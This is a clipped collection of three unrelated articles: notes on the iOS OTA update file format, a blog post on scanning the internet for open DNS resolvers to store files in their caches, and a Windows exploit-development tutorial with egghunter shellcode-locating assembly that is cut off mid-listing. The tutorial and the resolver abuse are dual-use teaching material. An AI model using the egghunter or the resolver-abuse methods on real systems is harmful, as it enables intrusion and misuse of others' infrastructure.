        <key>CFBundleInfoDictionaryVersion</key>
        <string>6</string>
        <key>CFBundleShortVersionString</key>
        <string>1**.** 0.0</string>
        <key>MobileAssetProperties</key>
        <dict>
            <key>Device</key>
            <string>iPad</string>
            <key>__AssetDefaultGarbageCollectionBehavior</key>
            <string>NeverCollected</string>
            <key>OSVersion</key>
            <string>6**.** 1.3</string>
            <key>SUDocumentationID</key>
            <string>GM</string>
        </dict>
    </dict>
    </plist>
[/code]

This seems to also not be used similar to `version.plist` but it also contains
a few relevant keys**.** These keys seem to have the option to be different in
value than the keys indicated above in the
`com_apple_MobileAsset_SoftwareUpdateDocumentation.xml` file, but have the
same core purpose**.**

The `Assets` has a series of subdirectories organized in Apple's favorite
format, `lproj` files \(Language Projects\)**.** At the time of this writing,
the following languages are included in each OTA update documentation file:

[code]

    ar: Arabic
    ca: Catalan
    cs: Czech
    da: German
    de: Danish
    el: Greek
    en_GB: English (Great Britian)
    en: English
    es: Spanish
    fi: Finnish
    fr: French
    he: Hebrew
    hr: Croatian
    hu: Hungarian
    id: Indonesian
    it: Italian
    ja: Japanese
    ko: Korean
    ms: Malay
    nb: Norwegian
    nl: Dutch
    pl: Polish
    pt_PT: Portuguese (Portugal)
    pt: Portuguese
    ro: Romanian
    ru: Russian
    sk: Slovak
    sv: Swedish
    th: Thai
    tr: Turkish
    uk: Ukrainian
    vi: Vietnamese
    zh_CN: Chinese (Simplified Han)
    zh_TW: Chinese (Traditional Han)
[/code]

Inside each subdirectory the following files exist:

[code]

    documentation.strings
    License.html
    ReadMe.html
    ReadMeSummary.html
[/code]

The `documentation.strings` is a binary plist with a single key,
`HumanReadableUpdateName`, Which is the name shown as the title in the update
window**.**

The `License.html` is, as you would expect, the License for the update**.**

The `ReadMe.html` is the information shown when the `Learn More`**.**

The `ReadMeSummary.html` is the information shown on the update screen before
the `Learn More` button is pressed**.**

In the `en` subdirectory, a `locversion.plist` exists**.** It seems to be a
file containing information about the lproj**.**

When the `Install Now` button is pressed, the iOS device queries the following
url
/assets/com\_apple\_MobileAsset\_SoftwareUpdate/com\_apple\_MobileAsset\_SoftwareUpdate.xml
**.** Again on mesu.apple.com .

The file is formatted as following:

[code]

    <**?** xml version="1.0" encoding="UTF-8"?>
    <**!** DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1**.** 0.dtd">
    <plist version="1.0">
    <dict>
        <key>Assets</key>
        <array>
            <dict>
                <key>Build</key>
                <string>11A465</string>
                <key>InstallationSize</key>
                <string>940237358</string>
                <key>MinimumSystemPartition</key>
                <integer>1736</integer>
                <key>OSVersion</key>
                <string>7**.** 0</string>
                <key>PrerequisiteBuild</key>
                <string>10B329</string>
                <key>PrerequisiteOSVersion</key>
                <string>6**.** 1**.** 3</string>
                <key>SUDocumentationID</key>
                <string>iOS7GM</string>
                <key>SUProductSystemName</key>
                <string>iOS</string>
                <key>SUPublisher</key>
                <string>Apple Inc**.** </string>
                <key>SupportedDevices</key>
                <array>
                    <string>iPad3,6</string>
                </array>
                <key>SystemPartitionPadding</key>
                <dict>
                    <key>128</key>
                    <integer>1280</integer>
                    <key>16</key>
                    <integer>160</integer>
                    <key>32</key>
                    <integer>320</integer>
                    <key>64</key>
                    <integer>640</integer>
                </dict>
                <key>_CompressionAlgorithm</key>
                <string>zip</string>
                <key>_DownloadSize</key>
                <integer>980840934</integer>
                <key>_Measurement</key>
                <data>
                ZijuuOFczKS289+I8ZDNO14qQRI=
                </data>
                <key>_MeasurementAlgorithm</key>
                <string>SHA-1</string>
                <key>_UnarchivedSize</key>
                <integer>1171208881</integer>
                <key>__AssetDefaultGarbageCollectionBehavior</key>
                <string>NeverCollected</string>
                <key>__BaseURL</key>
                <string>http://appldnld.apple.com/iOS7/091-9440**.** 20130918.Xxder/</string>
                <key>__CanUseLocalCacheServer</key>
                <true/>
                <key>__RelativePath</key>
                <string>com_apple_MobileAsset_SoftwareUpdate/64dbea1defd7cfa1f09a153d55ef0864e1e8648f.zip</string>
            </dict>
        </array>
        <key>Certificate</key>
        <data>
        MIID7TCCAtWgAwIBAgIBLTANBgkqhkiG9w0BAQUFADB5MQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxLTArBgNVBAMTJEFwcGxlIGlQaG9uZSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xMTA3MTQyMjMyNDhaFw0xODA3MTQyMjMyNDhaMGYxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpBcHBsZSBJbmMuMSEwHwYDVQQLExhBcHBsZSBpT1MgQXNzZXQgTWFuaWZlc3QxHzAdBgNVBAMTFkFzc2V0IE1hbmlmZXN0IFNpZ25pbmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC1y4D4VYBPHLwnHk1qfi1F49E3Ml675ElYYAFghqpAiKOqeagLVZU8zKuPw650NHACvNJbjKBjMsWdWaFMj/7c2TB5IkJwi61Y6B+uVK78W9u9I/hFAK0pWcM9Y5KbKMvz4wEwt64EXfS8eVBRmqh/29ygxN9NtBbHEiGiGQ8vxIV3U6FomNdmxKPM7VZmsyFIxQ5HsxgHb0skxlDIdePtYsHLmpK9PX43K3sBT3lHN0Uxtit8HTrdwiNq13cI0TINT+lsbXKLp3/gPJVpfxkQ3MTt40KG/DTMsqKOygDombsFSqA+RPSv68YtJ/kAaGaoH6gZfRrwX7GJozzQ8KTZAgMBAAGjgZIwgY8wDgYDVR0PAQH/BAQDAgeAMAkGA1UdEwQCMAAwHQYDVR0OBBYEFGNQxP6y1Ao4Hrhid6BcMLwcrB3BMDgGA1UdHwQxMC8wLaAroCmGJ2h0dHA6Ly93d3cuYXBwbGUuY29tL2FwcGxlY2EvaXBob25lLmNybDAZBgNVHSABAf8EDzANMAsGCSqGSIb3Y2QFCDANBgkqhkiG9w0BAQUFAAOCAQEAn6Cj4XjlScRIh1wPF8BLCz/dl6CskbTsJXz24tCDm3gcvb1Ovc+sBeg1JyvHiy2C4NxEGDYsVYHvUbucXrGdul6kKauOYcEzpogk56BIRenKHivAqQQtNJpVmqrElgqDntI/az2Gsw32TLWyDXVw8rWivchZE+VOv1mT4a7LHsdxMWbEOIrkvkZUOoxZlQhjPCc22mp0Yy5rwcf+3/IwJGOhJSXOVrcxuOwmweNrK1Eajn+HS2IlnMBwQDkH/d74KUXGvuNX0LsXv9cCQMB8tcjFlr1u+SzoXCHD1SJkU4ex3auhnukYSoiag78twmDRk726aYmxNIfYYpDs0hS7Mw==
        </data>
        <key>FormatVersion</key>
        <string>1</string>
        <key>Signature</key>
        <data>
        fIn1ES2ci3O9w9zT3qWSQRdM5m3SFXhfDqRBTBOIKh7ghGc/XyebUkC387p1M2voj5i1KETHLfzJE8jW5SErqJwkwfFAR2iomSczZZnYYO7WQfkgZ32bUehjwLiXtulofEsCl98dMmV8IrPUeWNB23dqNM0HEH8IQIgszNdFcBGbF+ZaCBYTfYPIlTL7pRX4XVSBf/0Nlm9jk9T3WdDbIp3vfpoptiplMSvaK7hUaigB/X69U4RQJ8pp+LtjD7jzykvIolv/YUrKiDRiwLstvjIR1EOVtMcywMJJeB+oZfxIaQCWDplv+TU5nAHNud/bBlVeXq6io91IQmblQAC1fQ==
        </data>
        <key>SigningKey</key>
        <string>AssetManifestSigning</string>
    </dict>
    </plist>
[/code]

`Certificate` is the same certificate presented in the earlier file**.**

`Signature` is, as expected, different than the Signature presented in the
earlier file**.**

`Build` is the build id of the install**.**

`InstallationSize` is the size of the install after installed**.** This is
different from the `_UnarchivedSize`, which is the size of the download when
uncompressed, but not installed**.**

`MinimumSystemPartition` is the space required on the system partition**.**
iOS is divided into two partitions, the user partition located at
`/var/mobile` and the system partition at `/`**.**

`OSVersion` is the new version of the OS that will be installed by the
update**.**

`PrerequisiteBuild` and `PrerequisiteOSVersion` are, as expected, the required
OS information for the update to install**.**

`SUDocumentationID`, `SUProductSystemName` and `SUPublisher` are an
interesting keys, The use of each key is pretty self explanatory**.** The SU
in each stands for Software Update.

`SupportedDevices` is an array of devices that the update supports**.** The
key is unique to the update itself and not included in the documentation as
documentation is only specific to a device, not a model of each device**.**

`SystemPartitionPadding` seems to indicate how the system partition is
padded**.**

`__CanUseLocalCacheServer` seems to indicate that a update could be installed
from a local cache, similar to the Mac OS X update**.**

`_CompressionAlgorithm`, `_DownloadSize`, `_Measurement`,
`_MeasurementAlgorithm`, `_UnarchivedSize`,
`__AssetDefaultGarbageCollectionBehavior`, `__BaseURL`, and `__RelativePath`
serve the same purpose in the previous file**.**

The download, found here , when unarchived contains the following file
structure:

[code]

    Assets/
        boot/
            BuildManifest.plist
            Firmware/
                all_flash/
                    all_flash**.** p103ap.production/
                        DeviceTree**.** p103ap.img3
                        iBoot.p103ap.RELEASE.img3
                        LLB**.** p103ap.RELEASE.img3
                        manifest
                dfu/
                    iBEC**.** p103ap.RELEASE.dfu
                    iBSS**.** p103ap.RELEASE.dfu
                usr/
                    local/
                        standalone/
            kernelcache.release**.** p103
        Info.plist
        payload/
            added/
            patches/
            replace/
            resequence/
        payload.bom
        payload.bom.signature
        post.bom
        pre.bom
    Info.plist
[/code]

`Info.plist` contains similar information as provided in the above plist**.**

`AssetData/Info.plist` contains some pretty standard iOS firmware files and
their locations \(`/boot`\)**.** More info on those files can be found on
theiphonewiki.com **.**

The more interesting files are the `.bom` files**.** They are files in the
Apple BOM format**.** BOM stands for `Bill of Materials`, more information can
be found here **.**

`pre.bom` is used to confirm that the OS has not been modified at the
start**.** This is waht prevents a jailbroken device from installing the OTA
update**.**

`post.bom` is used to confirm the update installed correctly**.** I don't know
what happens if this test fails.

`payload.bom` confirms the files within the `payload` directory have not been
modified**.**

`payload.bom.signature` is the signature of `payload.bom` signed with the key
specified in `Certificate` earlier**.** This, in combination with the
`Signature` and `Measurement` keys are the only validation provided to certify
an OTA update is from apple**.**

The `payload` directory is laid out in the following format:

[code]

    added
    patches
    replace
    resequence
[/code]

Within each directory the files are laid just as they appear in the
filesystem**.** So, if I wanted to create `helloworld.txt` in the
`/var/mobile` directory, I would create the file in
`payload/added/var/mobile/helloworld.txt`**.**

`added` is, as you would expect, raw files that are being added**.**

`patches` are `bspatch` files**.** More information about `bspatch` files can
be found here **.**

`replace` are files to be replaced, instead of patched**.** In all cases I've
seen the only file in here is `/private/etc/fstab`**.**

`resequence` is a new type of folder that only appeared in the new `iOS 7`
updates**.** I have been unable to determine the file format used**.** If you
have any idea, please feel free to open an issue on this websites github
project here **.**

This concludes the information I've uncovered about iOS OTA updates**.** If
there is anything I missed or got incorrectly \(there very well may be, I did
this from memory\) please open a github issue here **.**

****

# DNSFS. Store your files in others DNS resolver caches

**Created:**| _3/7/2018 8:51:27 AM_  
---|---  
**Updated:**| _3/7/2018 8:51:27 AM_  
**Author:**| _wishi_  
**Tags:**| _DNS LOLZ_  
  

  

# DNSFS. Store your files in others DNS resolver caches

A while ago I did a blog post about how long DNS resolvers hold results in
cache for, using RIPE Atlas probes testing against their default resolvers
\(in a lot of cases, the DNS cache on their modem/router\).

That showed that some resolvers will hold DNS cache entries for a whole week
if asked to \(https://blog.benjojo.co.uk/post/dns-resolvers-ttl-lasts-over-
one-week\), and I joked at the end that one could use this for file storage.

Well, I could not stop thinking about doing this. There are surely a lot of
open DNS resolvers out on the internet, that are just _asking_ to be used for
storing random things in them. Think of it. Possibly tens of gigabytes of
cache space that could be used\!

This is not the first time something like this has been done, Erik Ekman made
PingFS, a file system that stores data _in the internet itself_ .

<img src='img/Temp2_1883.png' width='700' height='224' alt='gif of how pingfs
works' />

This works because inside every ping packet is a section of data that must be
sent back to the system that sent the ping, called the data payload:

<img src='img/Temp2_1879.png' width='700' height='320' alt='Wireshark view of
a ping packet' />

Because you can put up to 1400-ish bytes in this payload, and pings take time
to come back, you can use the speed of light in fiber as actual storage.

Now obviously this is not a great idea for long term data storage, since you
have to keep transmitting and receiving the same packets over and over again,
plus the internet gives no promise that the packet won’t be dropped at any
time, and if that happens then the data is lost.

However. DNS has caches. It has caches _everywhere_.

This means that the DNSFS looks a lot of the same as PingFS, but once a query
is sent it should be cached in the resolver, meaning you don’t have to keep
sending packets to keep the data alive\!

# Resolver strategy

For this to work we need a lot of open DNS resolvers. Technically DNS
resolvers \(except the official ones that a ISP gives out\) should be
firewalled off from the public internet because they are a DDoS reflection
risk , but a lot of devices out there ship with bad default configuration that
allows their built in DNS resolvers to be reachable from outside the LAN.

The more open DNS resolvers there are, the more redundancy \(or storage
space\) we have.

For this, we need to scan the whole internet for resolvers. This is a slightly
daunting task, however when you take into account the ranges on the internet
that are not routable and ranges of those who do not want to be scanned , it
amounts to about 3,969,658,877 IP addresses.

In addition to that we are looking for open resolvers, this means that the DNS
server on the other end must be able to look up public domain names, most DNS
servers are setup to be authoritative for a single domain name, and can’t be
used by us for file storage.

# Getting a list of DNS resolvers

For this, I am using Robert Graham’s masscan to send DNS queries to all
applicable IP addresses on the internet.

<img src='img/Temp2_1877.png' width='700' height='260' alt='The massscan
config I used' />

However this command has a problem, I am looking for open resolvers, not just
things that will reply to port 53 on UDP.

My solution is to use a great feature of the linux kernel called BPF filters
\(you can read a great article about BPF filters and their use to filter
traffic on the Cloudflare blog\). You can use them with iptables to drop any
traffic you don’t want, but programmatically\! One BPF rule can do a whole
chain worth of work.

I managed to write a tcpdump filter that only matched the DNS responses that I
wanted \(ones with a single results inside them\).

`tcpdump -ni eth0 port 53 and udp and ip[35] != 0x01 and net
185.230.223.69/32`

I then compiled it to a raw BPF rule using a small helper program:

[code]

    root@xxxx:~/masscan# ./bpf-gen  RAW 'port 53 and udp and ip[35] != 0x01 and net 185.230.223.69/32'
    25,48 0 0 0,84 0 0 240,21 21 0 96,48 0 0 0,84 0 0 240,21 0 18 64,48 0 0 9,21 16 0 132,21 15 0 6,21 0 14 17,40 0 0 6,69 12 0 8191,177 0 0 0,72 0 0 0,21 2 0 53,72 0 0 2,21 0 7 53,48 0 0 35,21 5 0 1,32 0 0 12,21 2 0 3118915397,32 0 0 16,21 0 1 3118915397,6 0 0 65535,6 0 0 0
    
[/code]

and then inserted it into IPTables:

[code]

    root@xxxx:~/masscan# iptables -I INPUT -m bpf --bytecode "25,48 0 0 0,84 0 0 240,21 21 0 96,48 0 0 0,84 0 0 240,21 0 18 64,48 0 0 9,21 16 0 132,21 15 0 6,21 0 14 17,40 0 0 6,69 12 0 8191,177 0 0 0,72 0 0 0,21 2 0 53,72 0 0 2,21 0 7 53,48 0 0 35,21 5 0 1,32 0 0 12,21 2 0 3118915397,32 0 0 16,21 0 1 3118915397,6 0 0 65535,6 0 0 0" -j DROP
    
[/code]

Now masscan will only see and then log results I am interested in. No need to
do a 2nd pass to qualify servers.

<img src='img/Temp2_1874.png' width='700' height='95' alt='gif of masscan
running' />

After waiting about 24 hours for the scan to complete I got only two abuse
notices\! One was automated and very formal, the other not so much:

At the end I was left with **3,878,086** open DNS resolvers, from all ranges
and places in the world. Visualised nicely from Cloudflare’s DNS traffic
analytics:

<img src='img/Temp2_1878.png' width='700' height='449' alt='cloudflare dns
analytics' />

Basically, where there are Cloudflare data centers, there are open DNS
resolvers.

The country breakdown for open resolvers is as follows:

[code]

    ben@metropolis:~/Documents/dnsfs/bulk-mmlookup$ pv ../uniqiplist.txt | bulk-mmlookup | awk '{$1 = ""; for (i=2; i<NF; i++) printf $i " "; print $NF}' | sort | uniq -c | sort -n | tac
    52.9MiB 0:01:03 [ 850KiB/s] [=======================================>] 100%            
    1498094 China
     285749 United States
     233549 Republic of Korea
     168979 Russia
     167145 Brazil
     153170 Taiwan
     142655 India
      83581 Italy
      76894 Turkey
      69300 Poland
      62542 Philippines
      53266 Indonesia
      46055 Japan
      43331 Romania
      40434 Bulgaria
      39548 Australia
      36099 Iran
      32996 Canada
      29971 South Africa
    
[/code]

And ISP:

[code]

    ben@metropolis:~/Documents/dnsfs/bulk-mmlookup$ pv ../uniqiplist.txt | bulk-mmlookup -type isp | awk '{$1 = ""; for (i=2; i<NF; i++) printf $i " "; print $NF}' | sort | uniq -c | sort -n  | tac
    52.9MiB 0:00:15 [3.37MiB/s] [=======================================>] 100%            
     830615 4134 No.31,Jin-rong Street
     355713 4837 CHINA UNICOM China169 Backbone
     146755 4766 Korea Telecom
     140772 3462 Data Communication Business Group
      86075 4812 China Telecom (Group)
      67874 9829 National Internet Backbone
      62325 209 Qwest Communications Company, LLC
      59514 9121 Turk Telekom
      56682 3269 Telecom Italia
      55965 9299 Philippine Long Distance Telephone Company
      54555 4847 China Networks Inter-Exchange
      50841 12389 PJSC Rostelecom
      48674 5617 Orange Polska Spolka Akcyjna
      47039 4808 China Unicom Beijing Province Network
      40641 26599 TELEFÔNICA BRASIL S.A
      35171 8866 Vivacom
      33075 5650 Frontier Communications of America, Inc.
      31921 9318 SK Broadband Co Ltd
      30181 8708 RCS & RDS
      29821 9808 Guangdong Mobile Communication Co.Ltd.
      28777 17974 PT Telekomunikasi Indonesia
      28731 7738 Telemar Norte Leste S.A.
      25634 701 MCI Communications Services, Inc. d/b/a Verizon Business
      23598 35819 Bayanat Al-Oula For Network Services
      23427 26615 Tim Celular S.A.
      23322 42610 PJSC Rostelecom
      22488 7018 AT&T Services, Inc.
      17009 4713 NTT Communications Corporation
      14707 12880 Information Technology Company (ITC)
      14259 24560 Bharti Airtel Ltd., Telemedia Services
      13989 14420 CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
      13462 7303 Telecom Argentina S.A.
      12069 6713 Itissalat Al-MAGHRIB
      11865 13999 Mega Cable, S.A. de C.V.
      11439 45899 VNPT Corp
      10711 7922 Comcast Cable Communications, LLC
      10256 28006 CORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP
       9993 45595 Pakistan Telecom Company Limited
       8896 4739 Internode Pty Ltd
    
[/code]

However, this data is kind of meaningless. Because all it is really showing is
the biggest ISP and countries. So let’s try looking at the open resolvers per
internet user in a country:

Country | Open Resolvers | Internet users | People per resolver  
---|---|---|---  
Saint Kitts and Nevis | 729 | 37210 | 51.0  
Grenada | 771 | 41675 | 54.1  
Marshall Islands | 158 | 10709 | 67.8  
Bulgaria | 40434 | 4155050 | 102.8  
Belize | 1063 | 165014 | 155.2  
Republic of Korea | 233549 | 43274132 | 185.3  
Bermuda | 308 | 60047 | 195.0  
Maldives | 968 | 198071 | 204.6  
Guam | 601 | 124717 | 207.5  
Antigua and Barbuda | 262 | 60306 | 230.2  
Ecuador | 28923 | 7055575 | 243.9  
Romania | 43331 | 11236186 | 259.3  
Hong Kong | 18698 | 5442101 | 291.1  
Barbados | 739 | 228717 | 309.5  
Guyana | 954 | 305007 | 319.7  
Cayman Islands | 136 | 45038 | 331.2  
Seychelles | 158 | 56168 | 355.5  
Liechtenstein | 100 | 36183 | 361.8  
Tunisia | 13733 | 5472618 | 398.5  
Poland | 69300 | 27922152 | 402.9  
Georgia | 5078 | 2104906 | 414.5  
Malta | 787 | 334056 | 424.5  
Andorra | 155 | 66728 | 430.5  
Moldova | 4396 | 1946111 | 442.7  
Italy | 83581 | 39211518 | 469.1  
China | 1498094 | 721434547 | 481.6  
Gabon | 358 | 182309 | 509.2  
Or, if we strip the countries with less than 1 million internet users:

Country | Open Resolvers | Internet users | People per resolver  
---|---|---|---  
Bulgaria | 40434 | 4155050 | 102.8  
Republic of Korea | 233549 | 43274132 | 185.3  
Ecuador | 28923 | 7055575 | 243.9  
Romania | 43331 | 11236186 | 259.3  
Hong Kong | 18698 | 5442101 | 291.1  
Tunisia | 13733 | 5472618 | 398.5  
Poland | 69300 | 27922152 | 402.9  
Georgia | 5078 | 2104906 | 414.5  
Moldova | 4396 | 1946111 | 442.7  
Italy | 83581 | 39211518 | 469.1  
China | 1498094 | 721434547 | 481.6  
Australia | 39548 | 20679490 | 522.9  
Turkey | 76894 | 46196720 | 600.8  
Russia | 168979 | 102258256 | 605.2  
Singapore | 7552 | 4699204 | 622.2  
Bolivia | 7184 | 4478400 | 623.4  
Panama | 2673 | 1803261 | 674.6  
Ukraine | 27718 | 19678089 | 709.9  
Philippines | 62542 | 44478808 | 711.2  
Kuwait | 4493 | 3202110 | 712.7  
Lebanon | 6333 | 4545007 | 717.7  
Costa Rica | 3486 | 2738500 | 785.6  
Saudi Arabia | 25837 | 20813695 | 805.6  
Brazil | 167145 | 139111185 | 832.3  
Sweden | 10872 | 9169705 | 843.4  
Uruguay | 2654 | 2238991 | 843.6  
Dominican Republic | 6476 | 5513852 | 851.4  
Morocco | 23189 | 20068556 | 865.4  
Armenia | 1743 | 1510906 | 866.8  
You can find the data yourself here or as a CSV here

# How long do resolvers hold cache for?

Before testing this, I waited 10 days to allow for all of the resolvers who
could be on dynamic IP addresses to change and become unusable. This waiting
lost me 37.9% of my IP list.

RIPE Atlas did a decent amount of work to show that a non dismissable
percentage of Atlas probes \(normally on residential connections\) change the
public IP address once a day:

<img src='img/Temp2_1882.png' width='700' height='525' alt='Bar chart of how
long probes keep the same IP address' />

After that, I replicated the old method, a very long TTL \(in this case, 68
years\) and a TXT record containing the current unix timestamp of the DNS
server.

The initial query rate on my DNS server was interesting, showing a large
initial “rush”, likely due to some DNS resolvers having multiple levels of
caches \(and thus those upper caches warming up\)

<img src='img/Temp2_1881.png' width='700' height='500' alt='grafana graph of
DNS rps' />

I then queried every server in the list every hour for about a few days using
a simple tool link

Then refactored some code on the RIPE atlas post to work with my dataset. This
showed that 18% of resolvers can hold items in cache for about a day:

[code]

    ben@metropolis:~/Documents/dnsfs$ cat retention.csv | awk -F ',' '{print $1}' | grep -v time | ./mm -p -b 6
    Values min:0.00 avg:470.30 med=56.00 max:1778.00 dev:635.18 count:2387821
    Values:
     value |-------------------------------------------------- percent
         0 |************************************************** 45.28%
         1 |                                                    0.29%
         6 |                                                **  2.08%
        36 |                                        **********  9.70%
       216 |                        ************************** 24.27%
      1296 |                              ******************** 18.38%
    
    ben@metropolis:~/Documents/dnsfs$ cat retention.csv | awk -F ',' '{print $1}' | grep -v time | ./mm -b 6
    Values min:0.00 avg:470.30 med=56.00 max:1778.00 dev:635.18 count:2387821
    Values:
     value |-------------------------------------------------- count
         0 |************************************************** 1081109
         1 |                                                   6816
         6 |                                                ** 49721
        36 |                                        ********** 231737
       216 |                        ************************** 579613
      1296 |                              ******************** 438825
    
[/code]

The next task is to make a basic guess on how big the cache is in these 400k
open resolvers. To assist in this guesswork, I queried `version.bind` on every
one of these resolvers, filtered down to the major brands of DNS server, and
ended up with the following:

<img src='img/Temp2_1876.png' width='700' height='433' alt='DNS Server
breakdown' />

The default cache configurations for these devices are as follows:

Brand | Cache Size  
---|---  
DNSMasq | 150 Entries  
BIND | 10MB worth  
PowerDNS | 2MB worth  
Microsoft | Unlimited???  
ZyWall | Unknown  
Nominum | Unknown  
At this point I figured a maximum of 9 TXT records, each 250 character base64
string long \(187 bytes ish\) would be reasonable.

This means we get approximately \(3 \* 438825 \* 187\) = 250~ MB. Assuming we
replicate to 3 different resolvers for each TXT record this should also prove
“stable” enough to store files for at least a day.

# Building the file system

As much as I like FUSE I found that due to modern assumptions of desktop linux
it’s impractical to use it for high latency backends, which DNSFS would be
since its data rate is very low \(but still faster than a floppy disk\!\). So
I chose a simple HTTP interface to upload and fetch files to and from the
internet.

The DNSFS code is a relatively simple system, every file uploaded is split
into 180 byte chunks, and those chunks are “set” inside caches by querying the
DNSFS node via the public resolver for a TXT record. After a few seconds the
data is removed from DNSFS memory and the data is no longer on the client
computer.

<img src='img/Temp2_1875.png' width='700' height='383' alt='How DNSFS works
gif' />

To spread the storage load, the request filename and chunk number is hashed,
then modulated over the resolver list to ensure fair \(ish\) spread.

# Demo

For the demo, I will store one of my previous blog posts in the internet
itself\!

<img src='img/Temp2_1880.png' width='700' height='426' alt='Demo of DNSFS' />

As you can see, my file has made quite a name for itself.

As always, you can find the code to my madness on my github here:
https://github.com/benjojo/dnsfs

And you can follow me on Twitter here for micro doses of madness like this:
https://twitter.com/benjojo12

  

# Windows Exploit Development – Part 5: Locating Shellcode With Egghunting -
Security SiftSecurity Sift

**Created:**| _8/19/2015 11:13:23 AM_  
---|---  
**Updated:**| _8/19/2015 11:13:23 AM_  
**Author:**| __  
**Tags:**| _Exploit windows_  
  

### Overview

In Part 4 we looked at how to find and execute your shellcode using various
jump methods. In Part 5 we’re going to look at another method to find your
shellcode called Egghunting. This method is especially useful when you’re
faced with a small, reachable buffer \(in which you can execute code\) but the
placement of your larger shellcode in memory is unpredictable. This post will
get into quite a bit of detail, but I’ll try and explain everything as clearly
as possible. Let’s dive in…

### Introduction to the Win32 Egghunter

When we examined using jumps to reach shellcode in Part 4, there was one thing
that we required — a predictable location for our shellcode. Even if our
registers only pointed to a relatively small portion of our buffer, as long as
we could use that space to jump to another known location containing our
shellcode, we could execute our exploit. But what happens when you have that
small portion of your buffer available but can’t use it to reach your
shellcode with a typical jump technique \(either because there are no
available jump instructions, it’s too far, or it’s location is
dynamic/unpredictable\)? For those situations, we can use a technique called
Egghunting. With Egghunting, we’ll use the minimal buffer space \(reachable by
our EIP overwrite\) to host a small payload that does nothing more than search
memory for the shellcode and jump to it. There are two basic pre-requisites to
be able to use the Egghunter technique.

  * First, you must have a minimum amount of predictable memory to which you can jump that holds the small Egghunter code.
  * Second, your shellcode must be available in its entirety somewhere in memory \(on the stack or heap\). 

Keep in mind because we’re dealing with a limited buffer space, the Egghunter
itself should be as small as possible to be useful in these situations. To
understand the details behind Egghunting, your first resource should be Matt
Miller’s \(skape\) paper titled “Safely Searching Process Virtual Address
Space”. In it, he describes the various methods in which one can use
Egghunters to search available memory in order to locate and execute otherwise
difficult-to-find exploit code. He provides several Linux and Windows-based
examples, some optimized more than others. For the purposes of this tutorial
I’m only going to focus on the smallest \(only 32 bytes\), most optimized
Windows version, which uses NtDisplayString. Please note that this method only
works on 32-bit NT versions of Windows. All the examples that follow were
tested on Window XP SP3. I’ll limit the discussion for now until I get into
64-bit Windows-based exploits in later posts.

### Using the Egghunter

Here’s how it works:

  * Prepend your shellcode with an 8-byte tag \(the “egg”\).
  * Use the EIP overwrite to jump to a predictable location that holds a small Assembly language routine \(the “Egghunter”\) which searchers memory for the “egg” and, when found, jumps to it to execute the shellcode.

The egg will be a 4 byte string, repeated once. Let’s say our string is
“PWND”, the egg we will prepend to our shellcode will be PWNDPWND. The reason
for the repetition is to ensure that when we locate it in memory, we can
verify we’ve actually found our shellcode \(and not a random collection of 4
bytes, or the Egghunter routine itself\) — it’s simply a way to double check
we’ve reached our shellcode.

The Egghunter we’re going to implement will use \(abuse\) NtDisplayString, a
read-only function that is designed to take a single argument — a pointer to a
string — and display it.

NTSYSAPI NTSTATUS NTAPI NtDisplayString\( IN PUNICODE\_STRING String \);

123 | NTSYSAPI NTSTATUS NTAPI NtDisplayString\( IN PUNICODE\_STRING String\);  
---|---  
Instead of using the function to display strings as intended, we’re going to
sequentially work our way through memory address pointers and pass them to it,
one at a time. If the function returns an access violation error when it
attempts to read from that memory location, we know we’ve reached an
unaccessible portion of memory and must look elsewhere for our shellcode. If
it doesn’t return an error, we know we can examine the contents of that memory
location for our egg. It’s a simple and elegant solution to testing the
availability of memory to look for our egg. Here’s the code \(adapted from
Skape’s original version found here\). Note: in that version, he uses
NtAccessCheckAndAuditAlarm instead of NtDisplayString. As he explains in his
paper \(see earlier link\) they both serve the same purpose and the only
difference in terms of the code is the syscall number.

entry: loop\_inc\_page: or dx, 0x0fff // loop through memory pages by adding
4095 decimal or PAGE\_SIZE-1 to edx loop\_inc\_one: inc edx // loop through
addresses in the memory page one by one make\_syscall: push edx // push edx
value \(current address\) onto the stack to save for future reference push
0x43 // push 0x43 \(the Syscall ID for NtDisplayString\) onto the stack pop
eax // pop 0x43 into eax to use as the parameter to syscall int 0x2e // issue
the interrupt to call NtDisplayString kernel function check\_is\_valid: cmp
al, 0x05 // compare low order byte of eax to 0x5 \(5 = access violation\) pop
edx // restore edx from the stack jz loop\_inc\_page // if the zf flag was set
by cmp instruction there was an access violation // and the address was
invalid so jmp back to loop\_inc\_page is\_egg: mov eax, 0x444e5750 // if the
address was valid, move the egg into eax for comparison mov edi, edx // set
edi to the current address pointer in edx for use in the scasd instruction
scasd // compares value in eax to dword value addressed by edi \(current
address pointer\) // and sets EFLAGS register accordingly; after scasd
comparison, // EDI is automatically incremented by 4 if DF flag is 0 or
decremented if flag is 1 jnz loop\_inc\_one // egg not found? jump back to
loop\_inc\_one scasd // first 4 bytes of egg found; compare the dword in edi
to eax again // \(remember scasd automatically advanced by 4\) jnz
loop\_inc\_one // only the first half of the egg was found; jump back to
loop\_inc\_one found: jmp edi //egg found\!; thanks to scasd, edi now points
to shellcode

12345678910111213141516171819202122232425262728293031 | entry:loop\_inc\_page: or dx, 0x0fff // loop through memory pages by adding 4095 decimal or PAGE\_SIZE-1 to edx loop\_inc\_one: inc edx // loop through addresses in the memory page one by one make\_syscall: push edx // push edx value \(current address\) onto the stack to save for future reference push 0x43 // push 0x43 \(the Syscall ID for NtDisplayString\) onto the stack pop eax // pop 0x43 into eax to use as the parameter to syscall int 0x2e // issue the interrupt to call NtDisplayString kernel function check\_is\_valid: cmp al, 0x05 // compare low order byte of eax to 0x5 \(5 = access violation\) pop edx // restore edx from the stack jz loop\_inc\_page // if the zf flag was set by cmp instruction there was an access violation // and the address was invalid so jmp back to loop\_inc\_page is\_egg: mov eax, 0x444e5750 // if the address was valid, move the egg into eax for comparison mov edi, edx // set edi to the current address pointer in edx for use in the scasd instruction scasd // compares value in eax to dword value addressed by edi \(current address pointer\) // and sets EFLAGS register accordingly; after scasd comparison,  // EDI is automatically incremented by 4 if DF 